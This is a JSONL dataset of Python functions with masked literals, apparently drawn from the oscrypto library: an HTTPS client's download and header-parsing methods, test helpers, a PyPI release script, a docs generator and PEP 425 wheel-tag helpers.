{"signature": "def download(self, url, timeout):", "body": "self.setup_connection(url, timeout)<EOL>tries = <NUM_LIT:0><EOL>while tries < <NUM_LIT:2>:<EOL><INDENT>tries += <NUM_LIT:1><EOL>try:<EOL><INDENT>self.ensure_connected()<EOL>req_headers = OrderedDict()<EOL>req_headers['<STR_LIT>'] = self.url_info[<NUM_LIT:0>]<EOL>if self.url_info[<NUM_LIT:1>] != <NUM_LIT>:<EOL><INDENT>req_headers['<STR_LIT>'] += '<STR_LIT>' % self.url_info[<NUM_LIT:1>]<EOL><DEDENT>req_headers['<STR_LIT>'] = '<STR_LIT>' if self.keep_alive else '<STR_LIT>'<EOL>req_headers[\"<STR_LIT>\"] = '<STR_LIT>' % version.__version__<EOL>request = '<STR_LIT>'<EOL>url_info = urlparse(url)<EOL>path = '<STR_LIT:/>' if not url_info.path else url_info.path<EOL>if url_info.query:<EOL><INDENT>path += '<STR_LIT:?>' + url_info.query<EOL><DEDENT>request += path + '<STR_LIT>'<EOL>self.write_request(request, req_headers)<EOL>response = self.read_headers()<EOL>if not response:<EOL><INDENT>self.close()<EOL>continue<EOL><DEDENT>v, code, message, resp_headers = response<EOL>data = self.read_body(code, resp_headers, timeout)<EOL>if code == <NUM_LIT>:<EOL><INDENT>location = resp_headers.get('<STR_LIT:location>')<EOL>if not isinstance(location, str_cls):<EOL><INDENT>raise HttpsClientError('<STR_LIT>')<EOL><DEDENT>if not re.match(r'<STR_LIT>', location):<EOL><INDENT>if not location.startswith('<STR_LIT:/>'):<EOL><INDENT>location = os.path.dirname(url_info.path) + location<EOL><DEDENT>location = url_info.scheme + '<STR_LIT>' + url_info.netloc + location<EOL><DEDENT>return self.download(location, timeout)<EOL><DEDENT>if code != <NUM_LIT:200>:<EOL><INDENT>raise HttpsClientError('<STR_LIT>' % (code, url))<EOL><DEDENT>else:<EOL><INDENT>return data<EOL><DEDENT><DEDENT>except (oscrypto_errors.TLSGracefulDisconnectError):<EOL><INDENT>self.close()<EOL>continue<EOL><DEDENT><DEDENT>", "docstring": "Downloads a URL and returns the contents\n\n:param url:\n    The URL to download\n\n:param timeout:\n    The int number of seconds to set the timeout to\n\n:return:\n    The string contents of the URL", "id": "f9454:c2:m2"}
{"signature": "def setup_connection(self, url, timeout):", "body": "url_info = urlparse(url)<EOL>if url_info.scheme == '<STR_LIT:http>':<EOL><INDENT>raise HttpsClientException('<STR_LIT>')<EOL><DEDENT>hostname = url_info.hostname<EOL>port = url_info.port<EOL>if not port:<EOL><INDENT>port = <NUM_LIT><EOL><DEDENT>if self.socket and self.url_info != (hostname, port):<EOL><INDENT>self.close()<EOL><DEDENT>self.timeout = timeout<EOL>self.url_info = (hostname, port)<EOL>return self.ensure_connected()<EOL>", "docstring": ":param url:\n    The URL to download\n\n:param timeout:\n    The int number of seconds to set the timeout to\n\n:return:\n    A boolean indicating if the connection was reused", "id": "f9454:c2:m3"}
{"signature": "def ensure_connected(self):", "body": "if self.socket:<EOL><INDENT>return True<EOL><DEDENT>host, port = self.url_info<EOL>session = tls.TLSSession()<EOL>self.socket = tls.TLSSocket(host, port, timeout=self.timeout, session=session)<EOL>return False<EOL>", "docstring": "Make sure a valid tls.TLSSocket() is open to the server\n\n:return:\n    A boolean indicating if the connection was reused", "id": "f9454:c2:m4"}
{"signature": "def write_request(self, request, headers):", "body": "lines = [request]<EOL>for header, value in headers.items():<EOL><INDENT>lines.append('<STR_LIT>' % (header, value))<EOL><DEDENT>lines.extend(['<STR_LIT>', '<STR_LIT>'])<EOL>request = '<STR_LIT:\\r\\n>'.join(lines).encode('<STR_LIT>')<EOL>self.socket.write(request)<EOL>", "docstring": ":param request:\n    A unicode string of the first line of the HTTP request\n\n:param headers:\n    An OrderedDict of the request headers", "id": "f9454:c2:m5"}
{"signature": "def read_headers(self):", "body": "version = None<EOL>code = None<EOL>text = None<EOL>headers = OrderedDict()<EOL>data = self.socket.read_until(b'<STR_LIT>')<EOL>string = data.decode('<STR_LIT>')<EOL>first = False<EOL>for line in string.split('<STR_LIT:\\r\\n>'):<EOL><INDENT>line = line.strip()<EOL>if first is False:<EOL><INDENT>if line == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>match = re.match(r'<STR_LIT>', line)<EOL>if not match:<EOL><INDENT>return None<EOL><DEDENT>version = tuple(map(int, match.group(<NUM_LIT:1>).split('<STR_LIT:.>')))<EOL>code = int(match.group(<NUM_LIT:2>))<EOL>text = match.group(<NUM_LIT:3>)<EOL>first = True<EOL><DEDENT>else:<EOL><INDENT>if not len(line):<EOL><INDENT>continue<EOL><DEDENT>parts = line.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>if len(parts) == <NUM_LIT:2>:<EOL><INDENT>name = parts[<NUM_LIT:0>].strip().lower()<EOL>value = parts[<NUM_LIT:1>].strip()<EOL>if name in headers:<EOL><INDENT>if isinstance(headers[name], tuple):<EOL><INDENT>headers[name] = headers[name] + (value,)<EOL><DEDENT>else:<EOL><INDENT>headers[name] = (headers[name], value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>headers[name] = value<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return (version, code, text, headers)<EOL>", "docstring": "Reads the HTTP response headers from the socket\n\n:return:\n    On error, None, otherwise a 4-element tuple:\n      0: A 2-element tuple of integers representing the HTTP version\n      1: An integer representing the HTTP response code\n      2: A unicode string of the HTTP response code name\n      3: An OrderedDict of HTTP headers with lowercase unicode key and unicode values", "id": "f9454:c2:m6"}
{"signature": "def parse_content_length(self, headers):", "body": "content_length = headers.get('<STR_LIT>')<EOL>if isinstance(content_length, str_cls) and len(content_length) > <NUM_LIT:0>:<EOL><INDENT>content_length = int(content_length)<EOL><DEDENT>return content_length<EOL>", "docstring": "Returns the content-length from a dict of headers\n\n:return:\n    An integer of the content length", "id": "f9454:c2:m7"}
{"signature": "def _assert_regexp_matches(self, text, expected_regexp, msg=None):", "body": "if isinstance(expected_regexp, str_cls):<EOL><INDENT>expected_regexp = re.compile(expected_regexp)<EOL><DEDENT>if not expected_regexp.search(text):<EOL><INDENT>msg = msg or \"<STR_LIT>\"<EOL>msg = '<STR_LIT>' % (msg, expected_regexp.pattern, text)<EOL>self.fail(msg)<EOL><DEDENT>", "docstring": "Fail the test unless the text matches the regular expression.", "id": "f9455:m8"}
{"signature": "def local_oscrypto():", "body": "global _local_module<EOL>if _local_module:<EOL><INDENT>return _local_module<EOL><DEDENT>module_name = '<STR_LIT>'<EOL>src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), '<STR_LIT:..>')<EOL>module_info = imp.find_module(module_name, [src_dir])<EOL>_local_module = imp.load_module(module_name, *module_info)<EOL>if os.environ.get('<STR_LIT>'):<EOL><INDENT>paths = os.environ.get('<STR_LIT>').split('<STR_LIT:U+002C>')<EOL>if len(paths) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>_local_module.use_openssl(*paths)<EOL><DEDENT>elif os.environ.get('<STR_LIT>'):<EOL><INDENT>_local_module.use_winlegacy()<EOL><DEDENT>return _local_module<EOL>", "docstring": "Make sure oscrypto is initialized and the backend is selected via env vars\n\n:return:\n    The oscrypto module", "id": "f9459:m0"}
{"signature": "def make_suite():", "body": "loader = unittest.TestLoader()<EOL>suite = unittest.TestSuite()<EOL>for test_class in test_classes():<EOL><INDENT>tests = loader.loadTestsFromTestCase(test_class)<EOL>suite.addTests(tests)<EOL><DEDENT>return suite<EOL>", "docstring": "Constructs a unittest.TestSuite() of all tests for the package. For use\nwith setuptools.\n\n:return:\n    A unittest.TestSuite() object", "id": "f9459:m1"}
{"signature": "def run():", "body": "setup_file = os.path.join(package_root, '<STR_LIT>')<EOL>git_wc_proc = subprocess.Popen(<EOL>['<STR_LIT>', '<STR_LIT:status>', '<STR_LIT>', '<STR_LIT>'],<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.STDOUT,<EOL>cwd=package_root<EOL>)<EOL>git_wc_status, _ = git_wc_proc.communicate()<EOL>if len(git_wc_status) > <NUM_LIT:0>:<EOL><INDENT>print(git_wc_status.decode('<STR_LIT:utf-8>').rstrip(), file=sys.stderr)<EOL>print('<STR_LIT>', file=sys.stderr)<EOL>return False<EOL><DEDENT>git_tag_proc = subprocess.Popen(<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>cwd=package_root<EOL>)<EOL>tag, tag_error = git_tag_proc.communicate()<EOL>if len(tag_error) > <NUM_LIT:0>:<EOL><INDENT>print(tag_error.decode('<STR_LIT:utf-8>').rstrip(), file=sys.stderr)<EOL>print('<STR_LIT>', file=sys.stderr)<EOL>return False<EOL><DEDENT>if len(tag) == <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>', file=sys.stderr)<EOL>return False<EOL><DEDENT>tag = tag.decode('<STR_LIT:ascii>').strip()<EOL>setuptools.sandbox.run_setup(<EOL>setup_file,<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>)<EOL>twine.cli.dispatch(['<STR_LIT>', '<STR_LIT>' % (package_name, tag)])<EOL>setuptools.sandbox.run_setup(<EOL>setup_file,<EOL>['<STR_LIT>']<EOL>)<EOL>", "docstring": "Creates a sdist .tar.gz and a bdist_wheel --univeral .whl and uploads\nthem to pypi\n\n:return:\n    A bool - if the packaging and upload process was successful", "id": "f9464:m0"}
{"signature": "def _get_func_info(docstring, def_lineno, code_lines, prefix):", "body": "def_index = def_lineno - <NUM_LIT:1><EOL>definition = code_lines[def_index]<EOL>definition = definition.rstrip()<EOL>while not definition.endswith('<STR_LIT::>'):<EOL><INDENT>def_index += <NUM_LIT:1><EOL>definition += '<STR_LIT:\\n>' + code_lines[def_index].rstrip()<EOL><DEDENT>definition = textwrap.dedent(definition).rstrip('<STR_LIT::>')<EOL>definition = definition.replace('<STR_LIT:\\n>', '<STR_LIT:\\n>' + prefix)<EOL>description = '<STR_LIT>'<EOL>found_colon = False<EOL>params = '<STR_LIT>'<EOL>for line in docstring.splitlines():<EOL><INDENT>if line and line[<NUM_LIT:0>] == '<STR_LIT::>':<EOL><INDENT>found_colon = True<EOL><DEDENT>if not found_colon:<EOL><INDENT>if description:<EOL><INDENT>description += '<STR_LIT:\\n>'<EOL><DEDENT>description += line<EOL><DEDENT>else:<EOL><INDENT>if params:<EOL><INDENT>params += '<STR_LIT:\\n>'<EOL><DEDENT>params += line<EOL><DEDENT><DEDENT>description = description.strip()<EOL>description_md = '<STR_LIT>'<EOL>if description:<EOL><INDENT>description_md = \"<STR_LIT>\" % (prefix, description.replace('<STR_LIT:\\n>', '<STR_LIT:\\n>' + prefix))<EOL>description_md = re.sub('<STR_LIT>', '<STR_LIT>', description_md)<EOL><DEDENT>params = params.strip()<EOL>if params:<EOL><INDENT>definition += ('<STR_LIT>' % (prefix, prefix))<EOL>definition += params.replace('<STR_LIT:\\n>', '<STR_LIT>' % prefix)<EOL>definition += ('<STR_LIT>' % prefix)<EOL>definition = re.sub('<STR_LIT>', '<STR_LIT>', definition)<EOL><DEDENT>for search, replace in definition_replacements.items():<EOL><INDENT>definition = definition.replace(search, replace)<EOL><DEDENT>return (definition, description_md)<EOL>", "docstring": "Extracts the function signature and description of a Python function\n\n:param docstring:\n    A unicode string of the docstring for the function\n\n:param def_lineno:\n    An integer line number that function was defined on\n\n:param code_lines:\n    A list of unicode string lines from the source file the function was\n    defined in\n\n:param prefix:\n    A prefix to prepend to all output lines\n\n:return:\n    A 2-element tuple:\n\n     - [0] A unicode string of the function signature with a docstring of\n           parameter info\n     - [1] A markdown snippet of the function description", "id": "f9465:m0"}
{"signature": "def _find_sections(md_ast, sections, last, last_class, total_lines=None):", "body": "def child_walker(node):<EOL><INDENT>for child, entering in node.walker():<EOL><INDENT>if child == node:<EOL><INDENT>continue<EOL><DEDENT>yield child, entering<EOL><DEDENT><DEDENT>for child, entering in child_walker(md_ast):<EOL><INDENT>if child.t == '<STR_LIT>':<EOL><INDENT>start_line = child.sourcepos[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if child.level == <NUM_LIT:2>:<EOL><INDENT>if last:<EOL><INDENT>sections[(last['<STR_LIT>'], last['<STR_LIT>'])] = (last['<STR_LIT>'], start_line - <NUM_LIT:1>)<EOL>last.clear()<EOL><DEDENT><DEDENT>if child.level in set([<NUM_LIT:3>, <NUM_LIT:5>]):<EOL><INDENT>heading_elements = []<EOL>for heading_child, _ in child_walker(child):<EOL><INDENT>heading_elements.append(heading_child)<EOL><DEDENT>if len(heading_elements) != <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>first = heading_elements[<NUM_LIT:0>]<EOL>second = heading_elements[<NUM_LIT:1>]<EOL>if first.t != '<STR_LIT:code>':<EOL><INDENT>continue<EOL><DEDENT>if second.t != '<STR_LIT:text>':<EOL><INDENT>continue<EOL><DEDENT>type_name = second.literal.strip()<EOL>identifier = first.literal.strip().replace('<STR_LIT>', '<STR_LIT>').lstrip('<STR_LIT:.>')<EOL>if last:<EOL><INDENT>sections[(last['<STR_LIT>'], last['<STR_LIT>'])] = (last['<STR_LIT>'], start_line - <NUM_LIT:1>)<EOL>last.clear()<EOL><DEDENT>if type_name == '<STR_LIT>':<EOL><INDENT>if child.level != <NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if type_name == '<STR_LIT:class>':<EOL><INDENT>if child.level != <NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>last_class.append(identifier)<EOL><DEDENT>if type_name in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>if child.level != <NUM_LIT:5>:<EOL><INDENT>continue<EOL><DEDENT>identifier = last_class[-<NUM_LIT:1>] + '<STR_LIT:.>' + identifier<EOL><DEDENT>last.update({<EOL>'<STR_LIT>': type_name,<EOL>'<STR_LIT>': identifier,<EOL>'<STR_LIT>': start_line,<EOL>})<EOL><DEDENT><DEDENT>elif child.t == '<STR_LIT>':<EOL><INDENT>find_sections(child, sections, last, last_class)<EOL><DEDENT><DEDENT>if last:<EOL><INDENT>sections[(last['<STR_LIT>'], last['<STR_LIT>'])] = (last['<STR_LIT>'], total_lines)<EOL><DEDENT>", "docstring": "Walks through a CommonMark AST to find section headers that delineate\ncontent that should be updated by this script\n\n:param md_ast:\n    The AST of the markdown document\n\n:param sections:\n    A dict to store the start and end lines of a section. The key will be\n    a two-element tuple of the section type (\"class\", \"function\",\n    \"method\" or \"attribute\") and identifier. The values are a two-element\n    tuple of the start and end line number in the markdown document of the\n    section.\n\n:param last:\n    A dict containing information about the last section header seen.\n    Includes the keys \"type_name\", \"identifier\", \"start_line\".\n\n:param last_class:\n    A unicode string of the name of the last class found - used when\n    processing methods and attributes.\n\n:param total_lines:\n    An integer of the total number of lines in the markdown document -\n    used to work around a bug in the API of the Python port of CommonMark", "id": "f9465:m1"}
{"signature": "def walk_ast(node, code_lines, sections, md_chunks):", "body": "if isinstance(node, _ast.FunctionDef):<EOL><INDENT>key = ('<STR_LIT>', node.name)<EOL>if key not in sections:<EOL><INDENT>return<EOL><DEDENT>docstring = ast.get_docstring(node)<EOL>def_lineno = node.lineno + len(node.decorator_list)<EOL>definition, description_md = _get_func_info(docstring, def_lineno, code_lines, '<STR_LIT>')<EOL>md_chunk = textwrap.dedent(\"\"\"<STR_LIT>\"\"\").strip() % (<EOL>node.name,<EOL>definition,<EOL>description_md<EOL>) + \"<STR_LIT:\\n>\"<EOL>md_chunks[key] = md_chunk.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>elif isinstance(node, _ast.ClassDef):<EOL><INDENT>if ('<STR_LIT:class>', node.name) not in sections:<EOL><INDENT>return<EOL><DEDENT>for subnode in node.body:<EOL><INDENT>if isinstance(subnode, _ast.FunctionDef):<EOL><INDENT>node_id = node.name + '<STR_LIT:.>' + subnode.name<EOL>method_key = ('<STR_LIT>', node_id)<EOL>is_method = method_key in sections<EOL>attribute_key = ('<STR_LIT>', node_id)<EOL>is_attribute = attribute_key in sections<EOL>is_constructor = subnode.name == '<STR_LIT>'<EOL>if not is_constructor and not is_attribute and not is_method:<EOL><INDENT>continue<EOL><DEDENT>docstring = ast.get_docstring(subnode)<EOL>def_lineno = subnode.lineno + len(subnode.decorator_list)<EOL>if not docstring:<EOL><INDENT>continue<EOL><DEDENT>if is_method or is_constructor:<EOL><INDENT>definition, description_md = _get_func_info(docstring, def_lineno, code_lines, '<STR_LIT>')<EOL>if is_constructor:<EOL><INDENT>key = ('<STR_LIT:class>', node.name)<EOL>class_docstring = ast.get_docstring(node) or '<STR_LIT>'<EOL>class_description = textwrap.dedent(class_docstring).strip()<EOL>if class_description:<EOL><INDENT>class_description_md = \"<STR_LIT>\" % (class_description.replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>class_description_md = '<STR_LIT>'<EOL><DEDENT>md_chunk = textwrap.dedent(\"\"\"<STR_LIT>\"\"\").strip() % (<EOL>node.name,<EOL>class_description_md,<EOL>definition,<EOL>description_md<EOL>)<EOL>md_chunk = md_chunk.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>key = method_key<EOL>md_chunk = textwrap.dedent(\"\"\"<STR_LIT>\"\"\").strip() % (<EOL>subnode.name,<EOL>definition,<EOL>description_md<EOL>)<EOL><DEDENT>if md_chunk[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>md_chunk = md_chunk[<NUM_LIT:0>:-<NUM_LIT:5>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>key = attribute_key<EOL>description = textwrap.dedent(docstring).strip()<EOL>description_md = \"<STR_LIT>\" % (description.replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\"))<EOL>md_chunk = textwrap.dedent(\"\"\"<STR_LIT>\"\"\").strip() % (<EOL>subnode.name,<EOL>description_md<EOL>)<EOL><DEDENT>md_chunks[key] = re.sub('<STR_LIT>', '<STR_LIT:\\n>', md_chunk.rstrip())<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(node, _ast.If):<EOL><INDENT>for subast in node.body:<EOL><INDENT>walk_ast(subast, code_lines, sections, md_chunks)<EOL><DEDENT>for subast in node.orelse:<EOL><INDENT>walk_ast(subast, code_lines, sections, md_chunks)<EOL><DEDENT><DEDENT>", "docstring": "A callback used to walk the Python AST looking for classes, functions,\nmethods and attributes. Generates chunks of markdown markup to replace\nthe existing content.\n\n:param node:\n    An _ast module node object\n\n:param code_lines:\n    A list of unicode strings - the source lines of the Python file\n\n:param sections:\n    A dict of markdown document sections that need to be updated. The key\n    will be a two-element tuple of the section type (\"class\", \"function\",\n    \"method\" or \"attribute\") and identifier. The values are a two-element\n    tuple of the start and end line number in the markdown document of the\n    section.\n\n:param md_chunks:\n    A dict with keys from the sections param and the values being a unicode\n    string containing a chunk of markdown markup.", "id": "f9465:m2"}
{"signature": "def run():", "body": "print('<STR_LIT>')<EOL>md_files = []<EOL>for root, _, filenames in os.walk(os.path.join(package_root, '<STR_LIT>')):<EOL><INDENT>for filename in filenames:<EOL><INDENT>if not filename.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>md_files.append(os.path.join(root, filename))<EOL><DEDENT><DEDENT>parser = CommonMark.Parser()<EOL>for md_file in md_files:<EOL><INDENT>md_file_relative = md_file[len(package_root) + <NUM_LIT:1>:]<EOL>if md_file_relative in md_source_map:<EOL><INDENT>py_files = md_source_map[md_file_relative]<EOL>py_paths = [os.path.join(package_root, py_file) for py_file in py_files]<EOL><DEDENT>else:<EOL><INDENT>py_files = [os.path.basename(md_file).replace('<STR_LIT>', '<STR_LIT>')]<EOL>py_paths = [os.path.join(package_root, package_name, py_files[<NUM_LIT:0>])]<EOL>if not os.path.exists(py_paths[<NUM_LIT:0>]):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>with open(md_file, '<STR_LIT:rb>') as f:<EOL><INDENT>markdown = f.read().decode('<STR_LIT:utf-8>')<EOL><DEDENT>original_markdown = markdown<EOL>md_lines = list(markdown.splitlines())<EOL>md_ast = parser.parse(markdown)<EOL>last_class = []<EOL>last = {}<EOL>sections = OrderedDict()<EOL>find_sections(md_ast, sections, last, last_class, markdown.count(\"<STR_LIT:\\n>\") + <NUM_LIT:1>)<EOL>md_chunks = {}<EOL>for index, py_file in enumerate(py_files):<EOL><INDENT>py_path = py_paths[index]<EOL>with open(os.path.join(py_path), '<STR_LIT:rb>') as f:<EOL><INDENT>code = f.read().decode('<STR_LIT:utf-8>')<EOL>module_ast = ast.parse(code, filename=py_file)<EOL>code_lines = list(code.splitlines())<EOL><DEDENT>for node in ast.iter_child_nodes(module_ast):<EOL><INDENT>walk_ast(node, code_lines, sections, md_chunks)<EOL><DEDENT><DEDENT>added_lines = <NUM_LIT:0><EOL>def _replace_md(key, sections, md_chunk, md_lines, added_lines):<EOL><INDENT>start, end = sections[key]<EOL>start -= <NUM_LIT:1><EOL>start += added_lines<EOL>end += added_lines<EOL>new_lines = md_chunk.split('<STR_LIT:\\n>')<EOL>added_lines += len(new_lines) - (end - start)<EOL>if start > <NUM_LIT:0> and md_lines[start][<NUM_LIT:0>:<NUM_LIT:4>] == '<STR_LIT>' and md_lines[start - <NUM_LIT:1>][<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:>>':<EOL><INDENT>added_lines += <NUM_LIT:1><EOL>new_lines.insert(<NUM_LIT:0>, '<STR_LIT>')<EOL><DEDENT>md_lines[start:end] = new_lines<EOL>return added_lines<EOL><DEDENT>for key in sections:<EOL><INDENT>if key not in md_chunks:<EOL><INDENT>raise ValueError('<STR_LIT>' % key[<NUM_LIT:1>])<EOL><DEDENT>added_lines = _replace_md(key, sections, md_chunks[key], md_lines, added_lines)<EOL><DEDENT>markdown = '<STR_LIT:\\n>'.join(md_lines).strip() + '<STR_LIT:\\n>'<EOL>if original_markdown != markdown:<EOL><INDENT>with open(md_file, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(markdown.encode('<STR_LIT:utf-8>'))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Looks through the docs/ dir and parses each markdown document, looking for\nsections to update from Python docstrings. Looks for section headers in\nthe format:\n\n - ### `ClassName()` class\n - ##### `.method_name()` method\n - ##### `.attribute_name` attribute\n - ### `function_name()` function\n\nThe markdown content following these section headers up until the next\nsection header will be replaced by new markdown generated from the Python\ndocstrings of the associated source files.\n\nBy default maps docs/{name}.md to {modulename}/{name}.py. Allows for\ncustom mapping via the md_source_map variable.", "id": "f9465:m3"}
{"signature": "def _pep425_implementation():", "body": "return '<STR_LIT>' if hasattr(sys, '<STR_LIT>') else '<STR_LIT>'<EOL>", "docstring": ":return:\n    A 2 character unicode string of the implementation - 'cp' for cpython\n    or 'pp' for PyPy", "id": "f9466:m0"}
{"signature": "def _pep425_version():", "body": "if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>return (sys.version_info[<NUM_LIT:0>], sys.pypy_version_info.major,<EOL>sys.pypy_version_info.minor)<EOL><DEDENT>else:<EOL><INDENT>return (sys.version_info[<NUM_LIT:0>], sys.version_info[<NUM_LIT:1>])<EOL><DEDENT>", "docstring": ":return:\n    A tuple of integers representing the Python version number", "id": "f9466:m1"}
{"signature": "def _pep425_supports_manylinux():", "body": "try:<EOL><INDENT>import _manylinux<EOL>return bool(_manylinux.manylinux1_compatible)<EOL><DEDENT>except (ImportError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>proc = ctypes.CDLL(None)<EOL>gnu_get_libc_version = proc.gnu_get_libc_version<EOL>gnu_get_libc_version.restype = ctypes.c_char_p<EOL>ver = gnu_get_libc_version()<EOL>if not isinstance(ver, str_cls):<EOL><INDENT>ver = ver.decode('<STR_LIT:ascii>')<EOL><DEDENT>match = re.match(r'<STR_LIT>', ver)<EOL>return match and match.group(<NUM_LIT:1>) == '<STR_LIT:2>' and int(match.group(<NUM_LIT:2>)) >= <NUM_LIT:5><EOL><DEDENT>except (AttributeError):<EOL><INDENT>return False<EOL><DEDENT>", "docstring": ":return:\n    A boolean indicating if the machine can use manylinux1 packages", "id": "f9466:m2"}
{"signature": "def _pep425_get_abi():", "body": "try:<EOL><INDENT>soabi = sysconfig.get_config_var('<STR_LIT>')<EOL>if soabi:<EOL><INDENT>if soabi.startswith('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>' % soabi.split('<STR_LIT:->')[<NUM_LIT:1>]<EOL><DEDENT>return soabi.replace('<STR_LIT:.>', '<STR_LIT:_>').replace('<STR_LIT:->', '<STR_LIT:_>')<EOL><DEDENT><DEDENT>except (IOError, NameError):<EOL><INDENT>pass<EOL><DEDENT>impl = _pep425_implementation()<EOL>suffix = '<STR_LIT>'<EOL>if impl == '<STR_LIT>':<EOL><INDENT>suffix += '<STR_LIT:m>'<EOL><DEDENT>if sys.maxunicode == <NUM_LIT> and sys.version_info < (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>suffix += '<STR_LIT:u>'<EOL><DEDENT>return '<STR_LIT>' % (impl, '<STR_LIT>'.join(map(str_cls, _pep425_version())), suffix)<EOL>", "docstring": ":return:\n    A unicode string of the system abi. Will be something like: \"cp27m\",\n    \"cp33m\", etc.", "id": "f9466:m3"}
{"signature": "def _pep425tags():", "body": "tags = []<EOL>versions = []<EOL>version_info = _pep425_version()<EOL>major = version_info[:-<NUM_LIT:1>]<EOL>for minor in range(version_info[-<NUM_LIT:1>], -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>versions.append('<STR_LIT>'.join(map(str, major + (minor,))))<EOL><DEDENT>impl = _pep425_implementation()<EOL>abis = []<EOL>abi = _pep425_get_abi()<EOL>if abi:<EOL><INDENT>abis.append(abi)<EOL><DEDENT>abi3 = _pep425_implementation() == '<STR_LIT>' and sys.version_info >= (<NUM_LIT:3>,)<EOL>if abi3:<EOL><INDENT>abis.append('<STR_LIT>')<EOL><DEDENT>abis.append('<STR_LIT:none>')<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>plat_ver = platform.mac_ver()<EOL>ver_parts = plat_ver[<NUM_LIT:0>].split('<STR_LIT:.>')<EOL>minor = int(ver_parts[<NUM_LIT:1>])<EOL>arch = plat_ver[<NUM_LIT:2>]<EOL>if sys.maxsize == <NUM_LIT>:<EOL><INDENT>arch = '<STR_LIT>'<EOL><DEDENT>arches = []<EOL>while minor > <NUM_LIT:5>:<EOL><INDENT>arches.append('<STR_LIT>' % (minor, arch))<EOL>arches.append('<STR_LIT>' % (minor,))<EOL>arches.append('<STR_LIT>' % (minor,))<EOL>minor -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>if '<STR_LIT>' in sys.version.lower():<EOL><INDENT>arches = ['<STR_LIT>']<EOL><DEDENT>arches = [sys.platform]<EOL><DEDENT>elif hasattr(os, '<STR_LIT>'):<EOL><INDENT>(plat, _, _, _, machine) = os.uname()<EOL>plat = plat.lower().replace('<STR_LIT:/>', '<STR_LIT>')<EOL>machine.replace('<STR_LIT:U+0020>', '<STR_LIT:_>').replace('<STR_LIT:/>', '<STR_LIT:_>')<EOL>if plat == '<STR_LIT>' and sys.maxsize == <NUM_LIT>:<EOL><INDENT>machine = '<STR_LIT>'<EOL><DEDENT>arch = '<STR_LIT>' % (plat, machine)<EOL>if _pep425_supports_manylinux():<EOL><INDENT>arches = [arch.replace('<STR_LIT>', '<STR_LIT>'), arch]<EOL><DEDENT>else:<EOL><INDENT>arches = [arch]<EOL><DEDENT><DEDENT><DEDENT>for abi in abis:<EOL><INDENT>for arch in arches:<EOL><INDENT>tags.append(('<STR_LIT>' % (impl, versions[<NUM_LIT:0>]), abi, arch))<EOL><DEDENT><DEDENT>if abi3:<EOL><INDENT>for version in versions[<NUM_LIT:1>:]:<EOL><INDENT>for arch in arches:<EOL><INDENT>tags.append(('<STR_LIT>' % (impl, version), '<STR_LIT>', arch))<EOL><DEDENT><DEDENT><DEDENT>for arch in arches:<EOL><INDENT>tags.append(('<STR_LIT>' % (versions[<NUM_LIT:0>][<NUM_LIT:0>]), '<STR_LIT:none>', arch))<EOL><DEDENT>tags.append(('<STR_LIT>' % (impl, versions[<NUM_LIT:0>]), '<STR_LIT:none>', '<STR_LIT>'))<EOL>tags.append(('<STR_LIT>' % (impl, versions[<NUM_LIT:0>][<NUM_LIT:0>]), '<STR_LIT:none>', '<STR_LIT>'))<EOL>for i, version in enumerate(versions):<EOL><INDENT>tags.append(('<STR_LIT>' % (version,), '<STR_LIT:none>', '<STR_LIT>'))<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>tags.append(('<STR_LIT>' % (version[<NUM_LIT:0>]), '<STR_LIT:none>', '<STR_LIT>'))<EOL><DEDENT><DEDENT>tags.append(('<STR_LIT>', '<STR_LIT:none>', '<STR_LIT>'))<EOL>return tags<EOL>", "docstring": ":return:\n    A list of 3-element tuples with unicode strings or None:\n     [0] implementation tag - cp33, pp27, cp26, py2, py2.py3\n     [1] abi tag - cp26m, None\n     [2] arch tag - linux_x86_64, macosx_10_10_x85_64, etc", "id": "f9466:m4"}
